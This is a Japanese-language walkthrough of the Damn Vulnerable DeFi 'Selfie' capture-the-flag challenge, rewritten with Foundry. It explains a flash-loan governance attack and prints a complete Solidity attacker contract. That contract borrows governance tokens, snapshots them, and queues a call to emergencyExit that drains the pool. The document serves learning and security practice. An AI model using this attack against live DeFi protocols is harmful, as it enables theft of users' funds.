チャレンジ #6 - セルフィー#
Solidity と Foundry のシステム的な学習のために、私は Foundry テストフレームワークをベースにして、damnvulnerable-defi の解答を再度書き直しました。交流や共同開発を歓迎します〜🎉
コントラクト#
- SimpleGovernance:ガバナンストークンコントラクトで、ISimpleGovernance インターフェースを実装し、アクションを事前に設定し、2 日後にそのアクションを実行できます。
- SelfiePool:IERC3156FlashLender を実装し、フラッシュローンを提供するコントラクトで、ERC20Snapshot と SimpleGovernance の 2 種類のトークンを提供します。
テスト#
- DamnValuableTokenSnapshot コントラクトと SimpleGovernance コントラクトをデプロイします。
- SelfiePool コントラクトをデプロイし、プールに TOKENS_IN_POOL の数だけトークンを送金します。
- トークンに対してスナップショットを実行し、プールの残高と最大フラッシュローン供給額が TOKENS_IN_POOL になることを確認します。
- 攻撃スクリプトを実行します。
- 期待される結果は、プレイヤーアカウントのトークン残高が TOKENS_IN_POOL であり、プールアカウントのトークン残高が 0 であることです。
解答#
この課題の目的は、プール内のすべてのトークンを取り出すことです。プールコントラクトにはemergencyExit
関数があります。
onlyGovernance
条件を満たせば、現在のコントラクト内の任意の数のトークンを転送することができます。
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
onlyGovernance
は、呼び出し元がSimpleGovernance
コントラクトである必要があるという条件です。また、SimpleGovernance
コントラクトでは、アクションの設定と実行のメソッドが提供されており、アクションのパラメータにはターゲットと calldata などのコントラクト呼び出しパラメータが含まれています。
したがって、完全な呼び出しフローは以下のようになります:
まず、攻撃コントラクトを呼び出してフラッシュローンを実行し、goveranceToken を取得し、次に SimpleGoverance にアクションを記録します。記入するターゲットメソッドは、pool の emergencyExit を呼び出すものです。
2 日後にアクションを実行して、プールのすべてのトークンを移動します。
コードは以下のようになります:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract SelfiePoolAttacker is IERC3156FlashBorrower{
SelfiePool pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;
address owner;
uint256 actionId;
constructor(address _pool, address _governance, address _token){
owner = msg.sender;
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableTokenSnapshot(_token);
}
function attack(uint256 amount) public {
// call flashloan
pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
}
function onFlashLoan(
address initiator,
address _token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
// queue action
token.snapshot();
actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function executeAction() public{
governance.executeAction(actionId);
}
}